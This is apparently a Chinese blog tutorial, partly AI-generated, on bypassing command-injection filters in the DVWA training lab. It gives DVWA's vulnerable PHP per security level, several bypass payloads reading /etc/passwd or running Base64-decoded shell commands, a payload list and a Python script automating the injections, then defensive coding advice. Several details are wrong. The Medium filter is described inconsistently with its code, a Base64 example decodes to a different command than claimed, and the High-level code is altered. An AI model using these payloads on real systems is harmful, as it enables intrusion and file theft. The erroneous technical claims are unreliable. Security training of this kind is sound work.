DVWA命令执行过滤绕过:空格替换与编码技巧

DVWA命令执行过滤绕过:空格替换与编码技巧

【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 【免费下载链接】DVWA 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA

1. 命令执行(Command Execution,命令执行)问题概述

命令执行(Command Execution)问题是Web应用程序中常见的高危安全问题之一,当应用程序将用户输入直接传递给系统命令解释器(如Bash、CMD)时可能触发。攻击者可通过精心构造的输入字符串,在服务器上执行任意系统命令,获取敏感信息、控制服务器甚至横向渗透。

DVWA(Damn Vulnerable Web Application)作为经典的Web安全教学平台,在其"Command Injection"模块中提供了从低到高四个安全级别的命令执行场景,完美模拟了真实环境中命令执行问题的成因与防御机制。

2. DVWA命令执行模块环境准备

2.1 环境搭建步骤

# 克隆DVWA仓库
git clone https://gitcode.com/gh_mirrors/dv/DVWA

# 进入项目目录
cd DVWA

# 复制配置文件并修改数据库信息
cp config/config.inc.php.dist config/config.inc.php

# 使用sed命令快速配置数据库(假设使用MySQL默认配置)
sed -i "s/$_DVWA[db_user] = 'dvwa';/$_DVWA[db_user] = 'root';/" config/config.inc.php
sed -i "s/$_DVWA[db_password] = 'p@ssw0rd';/$_DVWA[db_password] = '';/" config/config.inc.php

# 启动PHP内置服务器(端口8080)
php -S 0.0.0.0:8080

访问http://localhost:8080/setup.php完成数据库初始化,默认登录凭据为admin/password

2.2 安全级别配置

通过DVWA Security页面可切换四个安全级别:

  • Low:无任何输入过滤
  • Medium:基础关键字过滤
  • High:高级正则过滤+输出编码
  • Impossible:参数化查询+白名单验证

3. 空格过滤绕过技术详解

3.1 空格过滤原理分析

在Linux系统中,Bash解释器将空格视为命令参数分隔符。DVWA Medium级别代码通常包含如下过滤逻辑:

// Medium级别典型过滤代码
$target = str_replace(array(' ', '&', ';', '&&', '||'), '', $_REQUEST['ip']);

该代码直接移除输入中的空格字符,导致传统命令拼接方式失效:

  • 原始注入:127.0.0.1 && ls
  • 过滤后:127.0.0.1&&ls(因缺少空格分隔而执行失败)

3.2 空格替换技术对比

绕过方法适用系统示例命令技术原理检测难度
$IFSLinux127.0.0.1&&ls$IFS-l使用内部字段分隔符变量
$IFS$9Linux127.0.0.1;cat$IFS$9/etc/passwd利用Shell参数扩展特性
<Linux/Windows127.0.0.1<&2;ls输入重定向符号
>Linux/Windows127.0.0.1>&2;dir输出重定向符号
$()Linux127.0.0.1;echo$(whoami)命令替换语法
%20URL编码127.0.0.1%26%26lsURL解码后恢复空格
%09Tab编码127.0.0.1%09lsASCII水平制表符

3.3 实战案例:$IFS系列绕过

3.3.1 基础$IFS绕过
# 原始注入(含空格)
127.0.0.1 && ls -l

# 使用$IFS替换空格
127.0.0.1&&ls$IFS-l
3.3.2 $IFS$9增强绕过

当基础$IFS被过滤时,可利用Shell参数扩展特性:

# 带位置参数的绕过
127.0.0.1;cat$IFS$9/etc/passwd

其中$9代表第九个位置参数(通常为空),作用是分隔$IFS与后续字符,避免被过滤规则识别。

4. 字符编码绕过技巧

4.1 URL编码绕过

当应用程序仅过滤原始输入而未处理URL解码时,可使用URL编码绕过:

字符URL编码二次编码适用场景
空格%20%2520基础过滤
&%26%2526逻辑与符号过滤
;%3B%253B命令分隔符过滤
%7C%257C管道符过滤

实战示例

# 原始命令(含&符号)
127.0.0.1 & whoami

# URL编码后
127.0.0.1%26whoami

# 二次编码(应对解码后过滤)
127.0.0.1%2526whoami

4.2 Base64编码执行

对于严格过滤关键字的场景,可通过Base64编码执行命令:

# 将命令"ls -la"进行Base64编码
echo "ls -la" | base64  # 结果:bHMgLWEK

# 在DVWA中执行编码后的命令
127.0.0.1;bash -c 'echo bHMgLWEK|base64 -d|bash'

4.3 Unicode编码绕过

利用Unicode字符的同形异义特性绕过过滤:

# 使用全角字符替换半角字符
127.0.0.1&&ls  # 全角数字和符号在部分系统中会被转换为半角

5. DVWA各安全级别绕过实战

5.1 Low级别:无过滤绕过

Low级别代码直接将用户输入拼接到命令中:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

攻击载荷

127.0.0.1 && cat /etc/passwd

5.2 Medium级别:基础过滤绕过

Medium级别代码进行简单字符替换:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

攻击载荷

# 使用&代替&&(因只过滤了&&)
127.0.0.1 & ls

# 使用换行符绕过(%0A URL编码)
127.0.0.1%0Als

5.3 High级别:高级过滤绕过

High级别使用正则表达式过滤,且仅允许特定命令前缀:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Validate input
    if( stristr( $target, 'ping' ) === false ) {
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
    else {
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
}
?>

攻击载荷

# 利用命令连接符和编码绕过
ping 127.0.0.1|{cat,/etc/passwd}

# 使用通配符绕过关键字过滤
127.0.0.1|ca?? /etc/passwd

5.4 Impossible级别:防御机制解析

Impossible级别采用了多层次防御策略:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put them back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?>

核心防御措施包括:

  1. 输入验证:严格验证IP地址格式,拆分四 octet 并分别检查是否为数字
  2. CSRF防护:使用Anti-CSRF token防止跨站请求伪造
  3. 输出编码:使用<pre>标签但未直接输出用户可控内容
  4. 最小权限:执行命令的Web服务器进程权限最小化

6. 命令执行防御策略

6.1 防御机制对比

防御方法实现难度安全性适用性
输入验证简单场景
白名单过滤固定命令场景
参数化API所有场景
命令沙箱极高高安全需求
权限控制辅助防御

6.2 最佳防御实践

6.2.1 使用参数化API替代直接拼接
// 不安全:直接拼接用户输入
$cmd = "ping " . $_GET['ip'];
system($cmd);

// 安全:使用escapeshellarg处理参数
$safe_ip = escapeshellarg($_GET['ip']);
$cmd = "ping " . $safe_ip;
system($cmd);

// 更安全:使用proc_open等可控API
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
);
$process = proc_open("ping -c 4 " . $safe_ip, $descriptorspec, $pipes);
6.2.2 实现命令白名单机制
// 命令白名单示例
$allowed_commands = [
    'ping' => ['/bin/ping', '-c', '4'],
    'traceroute' => ['/usr/bin/traceroute', '-n']
];

$command = $_GET['command'];
$target = $_GET['target'];

if (isset($allowed_commands[$command])) {
    $cmd = array_merge($allowed_commands[$command], [$target]);
    $output = shell_exec(implode(' ', array_map('escapeshellarg', $cmd)));
    echo "<pre>$output</pre>";
} else {
    die("Command not allowed");
}

7. 命令执行检测与利用自动化

7.1 Python检测脚本

import requests
from urllib.parse import urlencode

def dvwa_cmd_injection(url, session, ip, payload):
    """
    DVWA命令执行问题检测函数
    
    Args:
        url: DVWA命令执行模块URL
        session: 已登录的requests会话对象
        ip: 目标IP参数
        payload: 命令注入载荷
        
    Returns:
        命令执行结果
    """
    data = {
        'ip': f"{ip}{payload}",
        'Submit': 'Submit',
        'user_token': session.cookies.get('user_token')
    }
    
    response = session.post(url, data=data)
    return response.text.split('<pre>')[1].split('</pre>')[0]

# 使用示例
session = requests.Session()
# 登录DVWA获取会话
login_data = {
    'username': 'admin',
    'password': 'password',
    'Login': 'Login'
}
session.post('http://localhost:8080/login.php', data=login_data)

# 检测不同级别的绕过效果
vuln_url = 'http://localhost:8080/vulnerabilities/exec/'
results = {
    'low': dvwa_cmd_injection(vuln_url, session, '127.0.0.1', '&&whoami'),
    'medium': dvwa_cmd_injection(vuln_url, session, '127.0.0.1', '&whoami'),
    'high': dvwa_cmd_injection(vuln_url, session, '127.0.0.1', '|ca\t/etc/passwd')
}

print("命令执行结果:")
for level, result in results.items():
    print(f"{level}: {result.strip()[:50]}...")

7.2 常见绕过Payload集合

# 空格绕过集合
127.0.0.1&&ls$IFS-l
127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1<&2;ls
127.0.0.1%09ls  # Tab编码

# 命令分隔符绕过
127.0.0.1|ls
127.0.0.1||ls
127.0.0.1&&ls
127.0.0.1;ls

# 编码绕过
127.0.0.1%26%26ls  # URL编码
127.0.0.1%0als  # 换行符
bash -c 'echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash'  # Base64编码

8. 总结与进阶学习

8.1 知识点回顾

  • 核心原理:命令执行问题源于用户输入直接拼接到系统命令中,未做安全处理
  • 绕过技术:空格替换($IFS系列)、字符编码(URL/Base64)、命令分隔符(|;&&)
  • 防御策略:输入验证、白名单机制、参数化API、最小权限原则

8.2 进阶学习路径

mermaid

8.3 真实案例参考

  1. CVE-2021-41773 Apache HTTP Server路径穿越与命令执行:通过../路径穿越结合cgi-bin执行命令
  2. CVE-2020-1938 Tomcat AJP文件包含与命令执行:利用AJP协议问题读取文件并执行系统命令
  3. Exchange ProxyShell系列问题:通过OWA接口构造特殊请求执行命令

这些真实问题案例均涉及不同形式的命令执行绕过技术,掌握DVWA中的基础技巧是深入理解高级问题的关键基础。

9. 思考题

  1. 在DVWA High级别中,如果同时过滤了|&,如何利用$()语法构造命令执行 payload?
  2. 当服务器禁用了bashsh时,如何利用其他解释器(如perlpython)执行命令?
  3. 结合文件上传问题,如何构造图片马实现命令执行的持久化?

通过DVWA平台的命令执行模块练习,不仅能掌握各种绕过技巧,更重要的是理解问题产生的根本原因,培养安全开发意识,在实际项目中避免类似安全问题。

【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 【免费下载链接】DVWA 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值